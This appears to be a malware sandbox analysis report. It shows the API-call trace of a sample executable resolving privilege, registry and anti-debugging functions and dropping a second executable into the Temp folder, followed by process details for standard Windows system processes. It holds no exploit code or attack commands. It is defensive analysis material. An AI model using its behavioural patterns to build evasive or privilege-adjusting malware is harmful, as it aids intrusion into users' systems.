Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 1627-02-22 14:10:13 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 20348752038	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #42: System

0

»

Information	Value
ID	#42
File Name	System
Command Line	-
Initial Working Directory	-
Monitor	Start Time: 00:02:25, Reason: Created Daemon
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x4
Parent PID	0x144 (c:\windows\system32\smss.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 12B8 0x 12B4 0x 12B0 0x 12AC 0x 12A8 0x 12A4 0x 12A0 0x 129C 0x 1298 0x 1294 0x 1290 0x 544 0x 190 0x 1050 0x 104C 0x EC0 0x 4D0 0x F0C 0x E0 0x F2C 0x CF4 0x 9E0 0x 4AC 0x F24 0x 7A8 0x 824 0x 9E8 0x D84 0x 1A4 0x B0 0x 124 0x FF8 0x FF4 0x 128 0x C4 0x E48 0x 2C 0x 30 0x 0 0x B1C 0x B18 0x BC 0x A20 0x 9CC 0x 994 0x 8A0 0x 880 0x 10 0x 50C 0x 4D4 0x 8 0x 64 0x 7E0 0x 6B0 0x 630 0x B8 0x 34 0x 600 0x 5BC 0x 84 0x 100 0x 104 0x 6C 0x 168 0x 3AC 0x 1C4 0x 1C8 0x 18C 0x 70 0x 8C 0x 28 0x 30C 0x 40 0x 17C 0x 60 0x 16C 0x 20C 0x 140 0x 68 0x 74 0x 20 0x 1CC 0x 1C0 0x 1BC 0x 1B8 0x 1B4 0x 1B0 0x A4 0x E8 0x 54 0x 188 0x 130 0x C0 0x 120 0x 50 0x D4 0x 134 0x 160 0x 164 0x B4 0x A8 0x 88 0x 14C 0x 154 0x 1C 0x F0 0x 8 0x F4 0x 14 0x 18 0x FC 0x C 0x 4C 0x 10AC

Process #43: smss.exe

0

»

Information	Value
ID	#43
File Name	c:\windows\system32\smss.exe
Command Line	\SystemRoot\System32\smss.exe
Initial Working Directory	C:\WINDOWS
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x144
Parent PID	0xffffffffffffffff (Unknown)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 1F4 0x 150 0x 148

Process #44: csrss.exe

0

»

Information	Value
ID	#44
File Name	c:\windows\system32\csrss.exe
Command Line	%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x19c
Parent PID	0xffffffffffffffff (Unknown)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 6F4 0x 304 0x 244 0x 240 0x 204 0x 1E0 0x 1DC 0x 1D8 0x 1D0 0x 1A8

Process #45: wininit.exe

0

»

Information	Value
ID	#45
File Name	c:\windows\system32\wininit.exe
Command Line	wininit.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1ec
Parent PID	0xffffffffffffffff (Unknown)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeTcbPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 294 0x 24C 0x 23C 0x 208 0x 200 0x 1F0

Process #46: csrss.exe

0

»

Information	Value
ID	#46
File Name	c:\windows\system32\csrss.exe
Command Line	%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1f8
Parent PID	0xffffffffffffffff (Unknown)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 6F8 0x 354 0x 27C 0x 278 0x 264 0x 21C 0x 230 0x 22C 0x 228 0x 220 0x 218 0x 214

Process #47: winlogon.exe

0

»

Information	Value
ID	#47
File Name	c:\windows\system32\winlogon.exe
Command Line	winlogon.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x234
Parent PID	0xffffffffffffffff (Unknown)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeTcbPrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x E38 0x 380 0x 360 0x 274 0x 268 0x 238

Process #48: services.exe

0

»

Information	Value
ID	#48
File Name	c:\windows\system32\services.exe
Command Line	C:\WINDOWS\system32\services.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x250
Parent PID	0x1ec (c:\windows\system32\wininit.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 1058 0x 694 0x 158 0x 160 0x F8 0x 3F0 0x 3EC 0x 3E8 0x 3E4 0x 3DC 0x 310 0x 2BC 0x 2A8 0x 2A4 0x FF0

Process #49: lsass.exe

0

»

Information	Value
ID	#49
File Name	c:\windows\system32\lsass.exe
Command Line	C:\WINDOWS\system32\lsass.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x258
Parent PID	0x1ec (c:\windows\system32\wininit.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeCreateTokenPrivilege, SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 12FC 0x 11E8 0x 1090 0x E68 0x 3BC 0x 370 0x 298 0x 290 0x 28C 0x 288 0x 284

Process #50: svchost.exe

0

»

Information	Value
ID	#50
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k DcomLaunch
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x2b4
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x B00 0x AFC 0x 95C 0x 8E4 0x 8B8 0x 75C 0x 758 0x 45C 0x 454 0x 430 0x 314 0x 2FC 0x 3C8 0x 3B8 0x 3B4 0x 350 0x 33C 0x 330 0x 320 0x 308 0x 2B8 0x 4A4

Process #51: fontdrvhost.exe

0

»

Information	Value
ID	#51
File Name	c:\windows\system32\fontdrvhost.exe
Command Line	"fontdrvhost.exe"
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x2c0
Parent PID	0x234 (c:\windows\system32\winlogon.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Low
Username	S-1-5-96-0-1
Enabled Privileges	SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege
Thread IDs	0x 2E4 0x 2E0 0x 2DC 0x 2D8 0x 2C4

Process #52: fontdrvhost.exe

0

»

Information	Value
ID	#52
File Name	c:\windows\system32\fontdrvhost.exe
Command Line	"fontdrvhost.exe"
Initial Working Directory	C:\WINDOWS\system32\
